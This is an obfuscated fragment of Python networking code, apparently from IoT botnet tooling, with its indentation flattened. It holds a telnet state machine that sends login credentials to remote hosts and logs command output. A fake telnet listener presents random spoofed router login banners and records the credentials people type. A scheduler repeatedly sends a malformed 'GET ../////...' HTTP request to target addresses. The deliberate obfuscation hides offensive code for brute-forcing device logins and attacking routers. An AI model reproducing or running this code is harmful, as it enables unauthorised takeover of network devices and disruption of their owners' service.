IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
ii1OoOo0oOO = ''
if 'XXX:' in i1O00o0O [ IIiIIiIiIi ] [ i11i1iIIii [ IIiIIiIiIi ] ] :
Oo00oO0O = re . search ( 'XXX:([^:]+):' , i1O00o0O [ IIiIIiIiIi ] [ i11i1iIIii [ IIiIIiIiIi ] ] )
if Oo00oO0O :
ii1OoOo0oOO = Oo00oO0O . group ( 1 )
else :
ii1OoOo0oOO = i1O00o0O [ IIiIIiIiIi ] [ i11i1iIIii [ IIiIIiIiIi ] ] . split ( '/' ) [ 0 ]
try :
if 65 - 65: oOOo0000o - o0ooO - IIiIii1iI - I11I1Ii * I11I1Ii - O0oo
O0O0 . send ( ii1OoOo0oOO + "\n" )
except :
ooOO ( O0O0 )
continue
O0OO0oOoO0O00 [ o00O0OoOoo ] = ''
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 2
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] == 3 :
if 85 - 85: IIiIii1iI / oOoO0Ooo / oOOo0000o % IIiII
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
O0OoOoo0oOO = ''
if 75 - 75: OOOoOooO . Oo0 - Oooo . IIiII
if 'XXX:' in i1O00o0O [ IIiIIiIiIi ] [ i11i1iIIii [ IIiIIiIiIi ] ] :
Oo00oO0O = re . search ( 'XXX:[^:]+:(\S+)' , i1O00o0O [ IIiIIiIiIi ] [ i11i1iIIii [ IIiIIiIiIi ] ] )
if Oo00oO0O :
O0OoOoo0oOO = Oo00oO0O . group ( 1 )
else :
O0OoOoo0oOO = i1O00o0O [ IIiIIiIiIi ] [ i11i1iIIii [ IIiIIiIiIi ] ] . split ( '/' ) [ 1 ]
try :
if 4 - 4: IIiIIiIii1I - Oo0 . O0oo
if 84 - 84: IIiIii1iI % Oo0Oo / i1IIi1i1iiI
O0O0 . send ( O0OoOoo0oOO + "\n\n" )
except :
ooOO ( O0O0 )
continue
O0OO0oOoO0O00 [ o00O0OoOoo ] = ''
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 4
if 24 - 24: IIiIIiIii1I % oOOo0000o . IIiII - I11I1Ii . o0ooO
if 73 - 73: I11I1Ii
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] == 5 :
if 95 - 95: Ii11i1iIi * I11I1Ii % O0oo0OOOOO00 + o0oooooO
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
if 69 - 69: O0oo0OOOOO00
if 76 - 76: Oooo % oOoO0Ooo
if 38 - 38: IIiIii1iI
iii = ''
I1IiIiIIi = ''
for I11IIIii1i in ooO0o :
if 75 - 75: IIiIii1iI - IIiIii1iI + i1
if re . search ( I11IIIii1i [ 1 ] , O0o0iI [ IIiIIiIiIi ] ) and ( I11IIIii1i [ 2 ] == '' or ( I11IIIii1i [ 2 ] == 'PORT:9527:' and IIIi1iI1111Ii [ IIiIIiIiIi ] [ 1 ] == 9527 ) ) :
iii = I11IIIii1i [ 0 ]
if 81 - 81: OOOoOooO / Ii11i1iIi - O0oo + oOOo0000o + IIiII / oOOo0000o
I1IiIiIIi = I11IIIii1i [ 3 : ]
break
if 82 - 82: i1IIi1i1iiI - Ii11i1iIi
if iii :
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 7
I1IiIii1I1 [ IIiIIiIiIi ] = iii
ooOo0 [ o00O0OoOoo ] = I1IiIiIIi
if 100 - 100: IIiIIiIii1I * o0oooooO . Oooo % i1 % i1IIi1i1iiI / oOOo0000o
if 12 - 12: O0oo0OOOOO00 + IIiIii1iI + oOOo0000o
if not ii1iI1I11 ( O0O0 , o00O0OoOoo , IIiIIiIiIi ) :
continue
if 84 - 84: I11I1Ii . O0oo0OOOOO00 * oOoO0Ooo * IIiIii1iI . o0oooooO + Oo0
continue
else :
if 35 - 35: IIiIii1iI * OOOoOooO - O0oo
try :
if 91 - 91: O0oo0OOOOO00 % i1IIi1i1iiI
O0O0 . send ( oOoOOoooo0 )
except :
if 17 - 17: oOoO0Ooo * Ii / I11I1Ii . i1 * Oo0
ooOO ( O0O0 )
continue
if 87 - 87: OOOoOooO - i1IIi1i1iiI . Oo0 . O0oo * Ii11i1iIi * IIiIii1iI
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 6
if 63 - 63: o0oooooO / IIiIii1iI % i1IIi1i1iiI * Oo0 . Ii
continue
if 4 - 4: OOOoOooO * Ii - i1IIi1i1iiI - o0ooO
if 89 - 89: Ii11i1iIi / o0oooooO / IIiIIiIii1I % i1 - oOOoO00oo0
if 49 - 49: IIiIii1iI + Oooo - Ii11i1iIi . Oo0
if 42 - 42: I11I1Ii % IIiIIiIii1I - Oooo % o0oooooO
if 85 - 85: Oooo * OOOoOooO
if 72 - 72: Oo0Oo . Oooo * o0ooO * IIiIii1iI
if 65 - 65: Oo0 - O0oo / oOOoO00oo0 . o0oooooO . IIiIii1iI
if 14 - 14: IIiIIiIii1I
if 95 - 95: i1 + Oooo % IIiII / OOooOO0
if 67 - 67: IIiII + o0oooooO / IIiIii1iI . o0oooooO + i1IIi1i1iiI
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] == 7 and Iioo0OooOoO > iIiO00000o [ o00O0OoOoo ] :
if len ( ooOo0 [ o00O0OoOoo ] ) <= 2 :
if 29 - 29: O0oo . O0oo * i1 + IIiIIiIii1I
iIiO00000o [ o00O0OoOoo ] = Iioo0OooOoO + 10
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 9
try :
O0O0 . shutdown ( )
except :
pass
if 41 - 41: IIiII - O0oo0OOOOO00 + OOOoOooO
continue
else :
ooOo0 [ o00O0OoOoo ] = ooOo0 [ o00O0OoOoo ] [ 2 : ]
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
if not ii1iI1I11 ( O0O0 , o00O0OoOoo , IIiIIiIiIi ) :
continue
if 34 - 34: O0oo / OOooOO0 - oOoO0Ooo % OOOoOooO . Ii % i1IIi1i1iiI
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] == 9 and Iioo0OooOoO > iIiO00000o [ o00O0OoOoo ] :
ooOO ( O0O0 )
continue
if 58 - 58: IIiII
OoO0oOoooo = ooiI1
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] >= 5 :
OoO0oOoooo = O0oOOoO
if Iioo0OooOoO - Oo000o [ o00O0OoOoo ] > OoO0oOoooo :
if 1 - 1: i1 . oOoO0Ooo / oOOoO00oo0
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] == 4 :
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
if 'command' in O0OO0oOoO0O00 [ o00O0OoOoo ] or 'help' in O0OO0oOoO0O00 [ o00O0OoOoo ] :
if not 'DEBUG avc' in O0OO0oOoO0O00 [ o00O0OoOoo ] and not 'Polycom' in O0OO0oOoO0O00 [ o00O0OoOoo ] :
if not hash ( IIIi1iI1111Ii [ IIiIIiIiIi ] [ 0 ] ) in i11IiiI1 :
oOo00o00O = re . sub ( '\r?\n' , ';' , O0Oo [ o00O0OoOoo ] )
oOo00o00O = re . sub ( '[^A-Za-z0-9 \.,:;<>\(\)\[\]\-+%!@/#$=]' , '' , oOo00o00O )
Ii111i11iIi ( 'NOTC: CMDEBUG IP %s:%d %s -> %s' % ( IIIi1iI1111Ii [ IIiIIiIiIi ] [ 0 ] , IIIi1iI1111Ii [ IIiIIiIiIi ] [ 1 ] , i1O00o0O [ IIiIIiIiIi ] [ i11i1iIIii [ IIiIIiIiIi ] ] , oOo00o00O [ : 768 ] ) )
i11IiiI1 [ hash ( IIIi1iI1111Ii [ IIiIIiIiIi ] [ 0 ] ) ] = 1
if 60 - 60: i1IIi1i1iiI
ooOO ( O0O0 )
continue
if 40 - 40: Ii * O0oo * i1 / oOoO0Ooo
if 83 - 83: Ii - OOOoOooO
if 93 - 93: o0oooooO % OOOoOooO / oOoO0Ooo / IIiIIiIii1I % O0oo
if 50 - 50: o0ooO % Ii11i1iIi
if 40 - 40: Ii
if 38 - 38: OOooOO0 % i1IIi1i1iiI * o0ooO
if 59 - 59: oOOo0000o
if 86 - 86: i1IIi1i1iiI / i1
i1111iI = 17
iIIiiIiI = 5
if 74 - 74: oOoO0Ooo
o0o0O000O = [ ]
oOo0oO000 = { }
I1i1111i111i = { }
IiiI = { }
o0ii1iiIIIIi1i = { }
ii1Ii1iIiIIii = { }
O0O0o00 = { }
if 48 - 48: OOooOO0 / IIiIIiIii1I - O0oo - O0oo
if 66 - 66: i1IIi1i1iiI - Oooo + oOOoO00oo0 * IIiIIiIii1I
def IiIIi11i1i1I ( input ) :
IIII1II1i1 = ''
for O0OooO0Oo0O in range ( len ( input ) ) :
OOO0OOOoo = input [ O0OooO0Oo0O ]
O0oO00OoO0oO = ord ( OOO0OOOoo )
if O0oO00OoO0oO < 32 or O0oO00OoO0oO >= 123 or O0oO00OoO0oO == 96 or O0oO00OoO0oO == 36 or O0oO00OoO0oO == 38 :
IIII1II1i1 += '\\x%02x' % ( O0oO00OoO0oO )
else :
IIII1II1i1 += OOO0OOOoo
return IIII1II1i1
if 29 - 29: Oo0 / oOOo0000o . o0ooO % I11I1Ii + OOooOO0
if 1 - 1: i1
def i1I1iiIII11 ( sock ) :
global i1111iI
if 8 - 8: O0oo / o0oooooO
i1i11II1i = hash ( sock )
try :
sock . close ( )
except :
pass
if 90 - 90: IIiIIiIii1I * oOOoO00oo0 * IIiIIiIii1I + Oo0Oo . oOoO0Ooo
if ii1Ii1iIiIIii [ i1i11II1i ] == 0 :
if I1i1111i111i [ i1i11II1i ] >= 3 :
if 45 - 45: o0oooooO * oOOoO00oo0 - O0oo / I11I1Ii + Oo0Oo
oOo00o00O = IiIIi11i1i1I ( IiiI [ i1i11II1i ] )
OoooOO = re . sub ( '\r?\n' , ';' , oOo0oO000 [ i1i11II1i ] [ 2 ] )
OoooOO = re . sub ( '[^A-Za-z0-9]' , '' , OoooOO )
if 77 - 77: Oo0 % oOOo0000o * OOOoOooO - oOOo0000o / i1IIi1i1iiI / o0ooO
Ii111i11iIi ( "%s:%d HP:%s:%%:%s" % ( oOo0oO000 [ i1i11II1i ] [ 0 ] , oOo0oO000 [ i1i11II1i ] [ 1 ] , OoooOO [ : 16 ] , oOo00o00O [ : 128 ] ) ) ;
if 44 - 44: oOOoO00oo0 . OOOoOooO / o0oooooO / OOOoOooO - Ii11i1iIi
o0o0O000O . remove ( sock )
oOo0oO000 [ i1i11II1i ] = None
I1i1111i111i [ i1i11II1i ] = None
IiiI [ i1i11II1i ] = None
o0ii1iiIIIIi1i [ i1i11II1i ] = None
ii1Ii1iIiIIii [ i1i11II1i ] = None
O0O0o00 [ i1i11II1i ] = None
if 42 - 42: Oo0Oo / Oo0Oo * oOOoO00oo0 * Oo0Oo - OOOoOooO
if 24 - 24: i1 + o0ooO + Ii11i1iIi - Ii
o0OOo0oo = [
'-------------------------------\r\n-----Welcome to ATP Cli------\r\n-------------------------------\r\n\r\nLogin: ' ,
'\r\n(none) login: ' ,
'Ruijie login: ' ,
'=======================\r\n DSL-500B \r\n=======================\r\nLogin: ' ,
'\r\nralink login: ' ,
'Login as: ' ,
'Welcome to Stbs world\r\n\r\nUsername: ' ,
'BCM96328 Broadband Router\r\nLogin: '
'BCM99999 Broadband Router\r\nVosLogin: ' ,
'Welcome Visiting Huawei Home Gateway\r\nCopyright by Huawei Technologies Co., Ltd.\r\n\r\nLogin: ' ,
'User Access Verification\r\n\r\nUsername: ' ,
'\r\nWelcome to VeEX(R) V100-IGM/MPX Console.\r\n\r\n(none) login: ' ,
'ZyXEL P-870HNU-51B\r\nLogin: ' ,
'Account: ' ,
'Air5442 login: ' ,
'Air5650 login: ' ,
'Air5444TT login: ' ,
'tc login: ' ,
'RT-206v4TT login: ' ,
'BCM96318 Broadband Router\r\nLogin: ' ,
'\r\nIngenic linux machine\r\nKernel 2.6.31.3 on an mips\r\nkopp login: ' ,
'\r\nBusyBox on (none) login: ' ,
'JZ_INGENIC login: ' ,
]
o0OOOoOOOO0 = random . choice ( o0OOo0oo )
if 58 - 58: OOooOO0 . o0ooO
def OOo0OoooO ( connsocket , remote_ip , target_port ) :
if 76 - 76: Oo0Oo * O0oo0OOOOO00 + oOOoO00oo0 + IIiIii1iI * O0oo0OOOOO00 - Oo0
global o0OOOoOOOO0
I1I111IiiiI = o0OOOoOOOO0
IIIIiiIIIiiII = 'Password: '
if 61 - 61: Ii11i1iIi / IIiII / oOOo0000o / O0oo0OOOOO00 + Oooo - Oooo
if 0 :
try :
connsocket . close ( )
except :
pass
return
i1i11Ii = ( remote_ip , int ( target_port ) )
i1i11II1i = hash ( connsocket )
o0o0O000O . append ( connsocket )
oOo0oO000 [ i1i11II1i ] = ( remote_ip , int ( target_port ) , I1I111IiiiI , IIIIiiIIIiiII )
I1i1111i111i [ i1i11II1i ] = - 1
IiiI [ i1i11II1i ] = ''
o0ii1iiIIIIi1i [ i1i11II1i ] = ''
O0O0o00 [ i1i11II1i ] = time . time ( )
ii1Ii1iIiIIii [ i1i11II1i ] = 0
if 85 - 85: IIiIii1iI - i1IIi1i1iiI - oOOoO00oo0 - Ii - Oooo
def Oo0Oo0o ( ) :
global i1111iI
global iIIiiIiI
if 36 - 36: o0oooooO - oOoO0Ooo + Ii11i1iIi . o0ooO * oOoO0Ooo % O0oo
Iioo0OooOoO = time . time ( )
if 1 - 1: OOooOO0 / OOooOO0 - IIiII
if 94 - 94: Oo0 % oOOo0000o
O00Oo = 0.01
IIiI1i , O0o0 , IiIIiI11I = select . select ( o0o0O000O , o0o0O000O , [ ] , O00Oo )
for O0O0 in o0o0O000O :
i1i11II1i = hash ( O0O0 )
o0oo0OOOo = O0O0 . getsockopt ( socket . SOL_SOCKET , socket . SO_ERROR )
if o0oo0OOOo != 0 :
if 94 - 94: Ii11i1iIi * Ii11i1iIi + i1IIi1i1iiI - IIiIIiIii1I / OOOoOooO . O0oo
i1I1iiIII11 ( O0O0 )
continue
if O0O0 in IIiI1i :
O0 = ''
try :
O0 = O0O0 . recv ( 2048 )
except :
pass
if 43 - 43: o0oooooO - o0oooooO + O0oo0OOOOO00 - IIiIIiIii1I % oOOo0000o
if 40 - 40: o0ooO + oOOo0000o
if O0 :
o0ii1iiIIIIi1i [ i1i11II1i ] += O0
if 87 - 87: oOOo0000o / OOOoOooO
if I1i1111i111i [ i1i11II1i ] == 0 :
if 35 - 35: OOOoOooO
if 20 - 20: O0oo0OOOOO00 * i1 % oOOo0000o
if 22 - 22: Oo0Oo
if 90 - 90: O0oo * OOOoOooO % O0oo
if 5 - 5: O0oo0OOOOO00 - Ii11i1iIi
if 22 - 22: IIiII % o0ooO
pass
if 58 - 58: IIiII + O0oo0OOOOO00 % OOOoOooO * Ii11i1iIi - OOooOO0
if I1i1111i111i [ i1i11II1i ] == 2 :
if 1 - 1: oOOo0000o - i1IIi1i1iiI . i1 * Ii
IiiI [ i1i11II1i ] += O0
if 34 - 34: oOOo0000o . OOooOO0 / Ii11i1iIi + Oo0Oo
try :
O0 = re . sub ( '[\x00-\x1f]' , '' , O0 ) ;
O0O0 . send ( O0 )
except :
pass
if 11 - 11: oOOo0000o
if '\n' in o0ii1iiIIIIi1i [ i1i11II1i ] or '\r' in o0ii1iiIIIIi1i [ i1i11II1i ] :
I1i1111i111i [ i1i11II1i ] = 3
o0ii1iiIIIIi1i [ i1i11II1i ] = ''
try :
O0O0 . send ( '\r\n' )
except :
pass
continue
if 25 - 25: o0oooooO % O0oo / i1IIi1i1iiI . Oo0Oo - O0oo0OOOOO00 / i1IIi1i1iiI
if I1i1111i111i [ i1i11II1i ] == 4 :
if 85 - 85: i1 % Ii11i1iIi / i1IIi1i1iiI % IIiIIiIii1I
IiiI [ i1i11II1i ] += O0
if 84 - 84: oOOo0000o + i1 + i1IIi1i1iiI . O0oo % IIiII * oOoO0Ooo
if '\n' in o0ii1iiIIIIi1i [ i1i11II1i ] or '\r' in o0ii1iiIIIIi1i [ i1i11II1i ] :
o0ii1iiIIIIi1i [ i1i11II1i ] = ''
I1i1111i111i [ i1i11II1i ] = 5
continue
if 42 - 42: IIiIIiIii1I
if I1i1111i111i [ i1i11II1i ] == 6 :
i1I1iiIII11 ( O0O0 )
continue
if 73 - 73: Oo0Oo + IIiIIiIii1I
else :
i1I1iiIII11 ( O0O0 )
continue
if O0O0 in O0o0 :
if I1i1111i111i [ i1i11II1i ] == - 1 :
if 60 - 60: i1IIi1i1iiI . IIiIii1iI - IIiIIiIii1I / OOooOO0 / OOOoOooO % O0oo
if 66 - 66: i1IIi1i1iiI * Oo0
if 93 - 93: Oo0 - OOOoOooO / IIiIIiIii1I . O0oo0OOOOO00 * o0ooO
if 96 - 96: Oo0Oo . o0oooooO + OOOoOooO - oOOo0000o * I11I1Ii
if 84 - 84: O0oo * i1 / Oo0 + I11I1Ii . oOOoO00oo0
if 31 - 31: Ii11i1iIi + Oo0
try :
if 32 - 32: i1IIi1i1iiI
O0O0 . send ( '\xff\xfb\x03\xff\xfb\x01\xff\xfd\x1f\xff\xfd\x18' )
except :
i1I1iiIII11 ( O0O0 )
continue
I1i1111i111i [ i1i11II1i ] = 0
continue
if I1i1111i111i [ i1i11II1i ] == 1 :
if 39 - 39: Ii / O0oo . OOOoOooO . OOOoOooO
try :
if 87 - 87: IIiIIiIii1I * OOOoOooO + Ii % o0oooooO / O0oo
O0O0 . send ( oOo0oO000 [ i1i11II1i ] [ 2 ] )
except :
i1I1iiIII11 ( O0O0 )
continue
I1i1111i111i [ i1i11II1i ] = 2
continue
if I1i1111i111i [ i1i11II1i ] == 3 :
if 53 - 53: Oo0Oo + oOoO0Ooo
try :
if 67 - 67: i1IIi1i1iiI % oOOo0000o + o0oooooO + i1IIi1i1iiI
O0O0 . send ( oOo0oO000 [ i1i11II1i ] [ 3 ] )
except :
i1I1iiIII11 ( O0O0 )
continue
I1i1111i111i [ i1i11II1i ] = 4
continue
if I1i1111i111i [ i1i11II1i ] == 5 :
i1I1iiiI1iI = '\r\nLogin incorrect. Try again.\r\n'
try :
if 98 - 98: OOOoOooO * oOOoO00oo0 . OOooOO0 / I11I1Ii % O0oo0OOOOO00 / i1IIi1i1iiI
O0O0 . send ( i1I1iiiI1iI )
except :
i1I1iiIII11 ( O0O0 )
continue
I1i1111i111i [ i1i11II1i ] = 6
if 19 - 19: OOooOO0 + O0oo0OOOOO00 * i1IIi1i1iiI
continue
if 15 - 15: I11I1Ii . o0ooO
if 32 - 32: O0oo
if I1i1111i111i [ i1i11II1i ] == 0 :
OoO0oOoooo = iIIiiIiI
if Iioo0OooOoO - O0O0o00 [ i1i11II1i ] > OoO0oOoooo :
o0ii1iiIIIIi1i [ i1i11II1i ] = ''
I1i1111i111i [ i1i11II1i ] = 1
continue
if 78 - 78: O0oo + OOOoOooO
OoO0oOoooo = i1111iI
if Iioo0OooOoO - O0O0o00 [ i1i11II1i ] > OoO0oOoooo :
if 44 - 44: O0oo0OOOOO00 % Oooo / Ii11i1iIi . i1IIi1i1iiI
i1I1iiIII11 ( O0O0 )
continue
if 55 - 55: oOOoO00oo0 - Oooo - OOooOO0 * IIiIii1iI
if 19 - 19: Ii11i1iIi / Ii % I11I1Ii . O0oo . Oo0Oo . O0oo
if 25 - 25: Oo0Oo + i1IIi1i1iiI / OOooOO0 - o0ooO * i1
if 61 - 61: i1 . o0ooO . IIiIii1iI / OOooOO0
if 36 - 36: IIiIii1iI - Ii
if 5 - 5: o0oooooO + i1
if 67 - 67: I11I1Ii / OOooOO0 * i1 + O0oo0OOOOO00 * o0oooooO / Ii11i1iIi
if 22 - 22: O0oo0OOOOO00 % IIiIIiIii1I - OOOoOooO + oOOoO00oo0 + Oo0Oo
if 88 - 88: IIiII
if 41 - 41: OOooOO0 - IIiII
Ii11iIIiI1I1 = 20
OO0Oo0 = 120
if 75 - 75: I11I1Ii % oOOoO00oo0 / oOOo0000o
i1Iiii1i11i = 95
if 19 - 19: O0oo / i1
OoO000oo0ooO = 500
if 77 - 77: OOOoOooO
if 53 - 53: Ii
if 80 - 80: i1IIi1i1iiI / oOoO0Ooo - Oo0 . oOoO0Ooo + Ii11i1iIi / i1IIi1i1iiI
if 86 - 86: i1 % i1 / i1 % O0oo - OOooOO0 + Oo0
O00OiiI1iIiiI = [ ]
Oooo0 = { }
I1iiO000o00o0 = { }
if 86 - 86: OOooOO0 . o0oooooO % O0oo0OOOOO00 % i1 + i1IIi1i1iiI - Ii
Iii1iiiI = { }
if 30 - 30: Oo0Oo
i1I11IIIIIi = { }
if 3 - 3: o0ooO * IIiIIiIii1I % Ii * i1
iIIiii11Ii1 = [ ]
ooOo0I1ii1i = { }
IiI1i1ii1 = { }
if 19 - 19: i1IIi1i1iiI * Oo0Oo
oo0 = { }
iIoO000oO = { }
if 5 - 5: o0oooooO * i1 - Ii * IIiIii1iI - Oo0Oo
if 30 - 30: oOoO0Ooo - Oo0 - Oooo
if 86 - 86: I11I1Ii
iI1iiIi1i = 'GET ../////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// HTTP/1.0\r\n\r\n'
if 20 - 20: O0oo / Oooo * Oo0 * i1IIi1i1iiI / Ii11i1iIi
if 49 - 49: i1IIi1i1iiI + IIiIii1iI % o0oooooO
def IIi1IIii11I1I ( targetip , targetport ) :
if 12 - 12: i1IIi1i1iiI * IIiIIiIii1I / Ii - oOoO0Ooo % Ii
global i1Iiii1i11i
if 1 - 1: oOOo0000o + Oooo / Oo0Oo + o0ooO - OOOoOooO * IIiII
if 77 - 77: o0oooooO % o0ooO
if 97 - 97: O0oo / IIiIii1iI / Ii * I11I1Ii
if 24 - 24: Oo0 . oOOo0000o - Oo0Oo
O0000oO0O = ( targetip , int ( targetport ) )
I11i1I = hash ( O0000oO0O )
if I11i1I in iIIiii11Ii1 :
if 18 - 18: I11I1Ii
return ;
if 54 - 54: IIiIIiIii1I - Oooo + O0oo0OOOOO00 . OOOoOooO
if 82 - 82: Oooo . Oo0Oo + IIiIii1iI / OOooOO0
IiI1i1ii1 [ I11i1I ] = 0
ooOo0I1ii1i [ I11i1I ] = ( targetip , int ( targetport ) )
oo0 [ I11i1I ] = time . time ( ) + ( i1Iiii1i11i * 60 )
iIoO000oO [ I11i1I ] = None
iIIiii11Ii1 . append ( I11i1I )
if 19 - 19: oOOo0000o
def i1iiiiIi ( targetip , targetport , jobhash ) :
O0000oO0O = ( targetip , int ( targetport ) )
if 23 - 23: i1IIi1i1iiI . IIiIii1iI / oOOoO00oo0 * Oooo / O0oo
O0OOo00o00o = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
O0OOo00o00o . setblocking ( 0 )
if 2 - 2: O0oo % I11I1Ii * oOoO0Ooo / O0oo
try :
O0OOo00o00o . connect ( O0000oO0O )
except :
pass
if 25 - 25: o0ooO + Ii
I11i1I = hash ( O0OOo00o00o )
O00OiiI1iIiiI . append ( O0OOo00o00o )
Oooo0 [ I11i1I ] = ( targetip , int ( targetport ) )
Iii1iiiI [ I11i1I ] = 0
if 76 - 76: IIiIii1iI * I11I1Ii * IIiIii1iI
if 53 - 53: IIiIIiIii1I
i1I11IIIIIi [ I11i1I ] = time . time ( )
I1iiO000o00o0 [ I11i1I ] = jobhash
iIoO000oO [ jobhash ] = O0OOo00o00o
if 7 - 7: i1IIi1i1iiI % o0ooO - oOOo0000o + Oo0 * oOoO0Ooo
return O0OOo00o00o
if 48 - 48: O0oo0OOOOO00 % Ii * I11I1Ii
def i1ii1iIII ( webhash ) :
if 83 - 83: OOOoOooO * i1IIi1i1iiI - OOOoOooO . O0oo
if 76 - 76: o0ooO + IIiIIiIii1I + oOOoO00oo0 - oOoO0Ooo
if 70 - 70: o0ooO * i1 * Oo0
if 6 - 6: OOooOO0 + oOoO0Ooo . i1 % Oooo
if 17 - 17: IIiIii1iI + IIiIIiIii1I / i1
IiI1i1ii1 [ webhash ] = None
ooOo0I1ii1i [ webhash ] = None
oo0 [ webhash ] = None
iIoO000oO [ webhash ] = None
if 84 - 84: O0oo0OOOOO00 - O0oo0OOOOO00 . Oo0 % IIiII - OOooOO0 + oOOoO00oo0
iIIiii11Ii1 . remove ( webhash )
if 87 - 87: OOooOO0 + O0oo0OOOOO00 - I11I1Ii % OOOoOooO
def O00oO ( sock ) :
global OoO000oo0ooO
global OO0Oo0
global Ii11iIIiI1I1
if 16 - 16: O0oo
I11i1I = hash ( sock )
iiIii1I1i1 = I1iiO000o00o0 [ I11i1I ]
if 96 - 96: o0oooooO . Ii11i1iIi - i1IIi1i1iiI % Ii11i1iIi * i1IIi1i1iiI + Oo0Oo
try :
sock . close ( )
except :
pass
if 42 - 42: oOOo0000o / I11I1Ii . Oo0Oo % o0oooooO
if 59 - 59: oOOoO00oo0 % Oooo / OOOoOooO - o0oooooO / IIiII
if 27 - 27: O0oo0OOOOO00 + OOOoOooO * o0ooO / Oo0Oo . Oo0Oo
Iioo0OooOoO = time . time ( )
if oo0 [ iiIii1I1i1 ] <= Iioo0OooOoO :
oo0 [ iiIii1I1i1 ] = time . time ( ) + OO0Oo0
iIoO000oO [ iiIii1I1i1 ] = None
IiI1i1ii1 [ iiIii1I1i1 ] += 1
if 91 - 91: oOoO0Ooo
O00OiiI1iIiiI . remove ( sock )
Oooo0 [ I11i1I ] = None
Iii1iiiI [ I11i1I ] = None
if 78 - 78: o0oooooO . IIiIii1iI / OOooOO0
if 4 - 4: Ii11i1iIi / oOOoO00oo0 . Oooo
i1I11IIIIIi [ I11i1I ] = None
I1iiO000o00o0 [ I11i1I ] = None
if 35 - 35: o0oooooO + O0oo
def IIi1IIIIIi ( ) :
global xmpinpayloads
global OoO000oo0ooO
if 46 - 46: Oo0 / I11I1Ii
Iioo0OooOoO = time . time ( )
OO00ooo0 = iIIiii11Ii1
for IIIiiiI in OO00ooo0 :
iiIii1I1i1 = hash ( IIIiiiI )
if 14 - 14: IIiII . o0ooO + Oooo
if iIoO000oO [ iiIii1I1i1 ] == None :
if 48 - 48: OOooOO0 * oOOoO00oo0 * OOooOO0
if IiI1i1ii1 [ iiIii1I1i1 ] >= OoO000oo0ooO :
if 31 - 31: Ii
i1ii1iIII ( iiIii1I1i1 )
continue
if 38 - 38: O0oo0OOOOO00 / oOoO0Ooo
if 7 - 7: IIiIii1iI * OOooOO0
if Iioo0OooOoO >= oo0 [ iiIii1I1i1 ] :
if 52 - 52: IIiIIiIii1I * i1IIi1i1iiI
O0OOo00o00o = i1iiiiIi ( ooOo0I1ii1i [ iiIii1I1i1 ] [ 0 ] , ooOo0I1ii1i [ iiIii1I1i1 ] [ 1 ] , iiIii1I1i1 )
iIoO000oO [ iiIii1I1i1 ] = O0OOo00o00o
oo0 [ iiIii1I1i1 ] = 0
if 79 - 79: i1IIi1i1iiI % o0oooooO - IIiIii1iI % I11I1Ii
if 36 - 36: i1 . Oo0Oo % o0oooooO / IIiII . o0oooooO
def IIIiOoOO ( sock , webhash , jobhash ) :
global iI1iiIi1i
try :
if 30 - 30: oOOoO00oo0
sock . send ( iI1iiIi1i )
except :
pass
if 15 - 15: oOOo0000o * Ii % o0ooO . o0ooO % i1
return 1
if 92 - 92: oOOo0000o
def iI11IiI1 ( ) :
global Ii11iIIiI1I1
global xmpinclient_maxconnectiontime_payload
if 2 - 2: Ii * Oo0 - Ii . OOOoOooO
Iioo0OooOoO = time . time ( )
if 63 - 63: o0oooooO / Oo0Oo + OOooOO0 % oOOo0000o
if 16 - 16: I11I1Ii / OOOoOooO - i1 + Oo0 - oOOo0000o . O0oo0OOOOO00
O00Oo = 0.01
IIiI1i , O0o0 , IiIIiI11I = select . select ( O00OiiI1iIiiI , O00OiiI1iIiiI , [ ] , O00Oo )
for O0O0 in O00OiiI1iIiiI :
I11i1I = hash ( O0O0 )
o0oo0OOOo = O0O0 . getsockopt ( socket . SOL_SOCKET , socket . SO_ERROR )
if o0oo0OOOo != 0 :
if 89 - 89: o0ooO - O0oo0OOOOO00 * oOoO0Ooo / oOOoO00oo0 . oOOoO00oo0 / IIiIIiIii1I
O00oO ( O0O0 )
continue
if O0O0 in IIiI1i :
O0 = ''
try :
O0 = O0O0 . recv ( 2048 )
except :
pass
if O0 :
pass
if 75 - 75: OOOoOooO / IIiII + Oo0
if 10 - 10: Oo0 + Ii . Oooo % oOOo0000o - oOOoO00oo0 + IIiIIiIii1I
if 40 - 40: Oooo
if 44 - 44: OOOoOooO - i1 + O0oo / Oo0
if 50 - 50: I11I1Ii % O0oo - oOOoO00oo0
if 67 - 67: Ii11i1iIi - Ii11i1iIi * Oo0 . IIiIIiIii1I + Oo0Oo
if 92 - 92: Oo0Oo - IIiIIiIii1I
if 96 - 96: i1IIi1i1iiI - O0oo0OOOOO00 - Oo0Oo * Ii * i1IIi1i1iiI + OOooOO0
if 78 - 78: o0oooooO - oOoO0Ooo / IIiII
if 48 - 48: o0oooooO . Ii11i1iIi - oOOo0000o % o0ooO * O0oo - OOooOO0
else :
O00oO ( O0O0 )
continue
if O0O0 in O0o0 :
if Iii1iiiI [ I11i1I ] == 0 :
if 71 - 71: oOOoO00oo0 . Oo0 % OOooOO0 / IIiIii1iI * Oo0Oo
iiIii1I1i1 = I1iiO000o00o0 [ I11i1I ]
IIIiOoOO ( O0O0 , I11i1I , iiIii1I1i1 )
Iii1iiiI [ I11i1I ] = 1
if 70 - 70: o0ooO
OoO0oOoooo = Ii11iIIiI1I1
iiIii1I1i1 = I1iiO000o00o0 [ I11i1I ]
if Iioo0OooOoO - i1I11IIIIIi [ I11i1I ] > OoO0oOoooo :
